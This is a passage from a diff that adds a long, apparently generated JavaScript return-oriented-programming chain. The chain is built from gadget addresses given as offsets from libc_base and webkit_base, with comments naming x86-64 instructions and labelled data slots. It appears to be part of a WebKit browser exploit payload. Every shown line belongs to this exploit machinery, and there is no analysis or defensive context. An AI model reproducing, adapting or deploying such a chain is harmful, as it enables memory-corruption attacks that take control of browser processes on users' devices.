+libc_base+713278 //pop rsi +]); +//L1211: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L1212: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+112712, //L1215 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+112696, //L1214 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1214: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1215: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+112856, //L1219 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+112824, //L1217 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+112840, //L1218 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1217: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1218: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1219: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+112928, //L1220 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1220: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+112984, //L1222 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1222: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+113096, //L1226 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1224: +db([2, 0]); // 0x2 +set_gadget(libc_base+772328,); //pop rcx +//L1225: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1226: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+113176, //L1227 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+113192, //L1228 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1227: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1228: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+113280, //L1229 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1229: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+113336, //L1231 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1231: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+113456, //L1234 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1233: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1234: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+113560, //L1237 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+113544, //L1236 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1236: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1237: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+113704, //L1241 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+113672, //L1239 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+113688, //L1240 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1239: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1240: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1241: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+113776, //L1242 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1242: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+113832, //L1244 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1244: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+113944, //L1248 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1246: +db([25, 0]); // 0x19 +set_gadget(libc_base+772328,); //pop rcx +//L1247: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1248: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+114024, //L1249 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+114040, //L1250 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1249: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1250: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+114128, //L1251 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1251: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+114184, //L1253 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1253: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+114256, //L1255 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1255: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+114312, //L1257 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1257: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1259: +libc_base+765023, //mov [rdi], r8 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+114464, //L1261 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1260: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1261: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+114568, //L1264 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+114552, //L1263 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1263: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1264: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+114712, //L1268 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+114680, //L1266 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+114696, //L1267 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1266: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1267: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1268: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+114784, //L1269 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1269: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+114840, //L1271 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1271: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+114952, //L1275 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1273: +db([26, 0]); // 0x1a +set_gadget(libc_base+772328,); //pop rcx +//L1274: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1275: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+115032, //L1276 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+115048, //L1277 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1276: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1277: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+115136, //L1278 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1278: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+115192, //L1280 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1280: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+115264, //L1282 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1282: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+115320, //L1284 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1284: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1286: +libc_base+165442, //pop rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+115472, //L1288 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1287: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1288: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+115576, //L1291 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+115560, //L1290 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1290: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1291: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+115720, //L1295 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+115688, //L1293 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+115704, //L1294 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1293: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1294: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1295: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+115792, //L1296 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1296: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+115848, //L1298 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1298: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+115960, //L1302 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1300: +db([27, 0]); // 0x1b +set_gadget(libc_base+772328,); //pop rcx +//L1301: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1302: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+116040, //L1303 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+116056, //L1304 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1303: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1304: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+116144, //L1305 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1305: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+116200, //L1307 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1307: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+116272, //L1309 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1309: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+116328, //L1311 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1311: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+116432, //L1314 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1313: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L1314: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+116536, //L1317 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+116520, //L1316 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1316: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1317: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+116680, //L1321 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+116648, //L1319 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+116664, //L1320 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1319: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1320: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1321: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+116752, //L1322 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1322: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+116808, //L1324 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1324: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+116920, //L1328 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1326: +db([1, 0]); // 0x1 +set_gadget(libc_base+772328,); //pop rcx +//L1327: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1328: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+117000, //L1329 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+117016, //L1330 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1329: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1330: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+117104, //L1331 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1331: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+117160, //L1333 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1333: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+117280, //L1336 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1335: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1336: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+117384, //L1339 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+117368, //L1338 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1338: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1339: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+117528, //L1343 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+117496, //L1341 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+117512, //L1342 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1341: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1342: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1343: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+117600, //L1344 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1344: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+117656, //L1346 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1346: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+117768, //L1350 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1348: +db([28, 0]); // 0x1c +set_gadget(libc_base+772328,); //pop rcx +//L1349: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1350: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+117848, //L1351 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+117864, //L1352 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1351: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1352: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+117952, //L1353 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1353: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+118008, //L1355 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1355: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+118080, //L1357 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1357: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+118136, //L1359 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1359: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L1361: +webkit_base+2847363, //mov [rdi], r9 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+118288, //L1363 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 